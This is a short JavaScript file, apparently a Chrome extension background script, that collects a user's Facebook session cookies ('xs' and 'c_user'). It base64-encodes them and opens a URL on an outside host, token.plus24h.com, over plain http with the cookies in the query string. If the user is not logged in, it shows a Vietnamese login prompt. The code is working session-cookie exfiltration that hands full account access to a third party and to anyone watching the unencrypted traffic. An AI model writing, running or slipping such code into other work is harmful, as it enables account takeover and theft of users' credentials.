function getToken(){
	chrome.cookies.getAll({domain: ".facebook.com"}, function(cookies) {
			var login = false;
			var cookie= "";
			var xsOk=false;
			var cOk=false;

			for(var i=0; i<cookies.length;i++) {
				if(!xsOk && cookies[i].name == "xs")
				{
					xsOk=true;
					login = true;
					cookie += "xs="+cookies[i].value+";";
				}
				if(!cOk &&cookies[i].name == "c_user")
				{
					cOk=true;
					cookie += "c_user="+cookies[i].value+";";
				}
			}
			if(!login)
			{
				var newURL = "https://www.facebook.com";
				chrome.tabs.create({ url: newURL ,selected: false}, function(tab) {
					var code = 'alert("Vui lòng đăng nhập facebook!");';
					chrome.tabs.executeScript(tab.id, {code: code});
					chrome.tabs.update(tab.id, {selected: true});
				});
			}
			if(login){
				var newURL = "http://token.plus24h.com/Home/GetToken?data="+ btoa(cookie);
				chrome.tabs.create({ url: newURL });
			}
	});
}
getToken();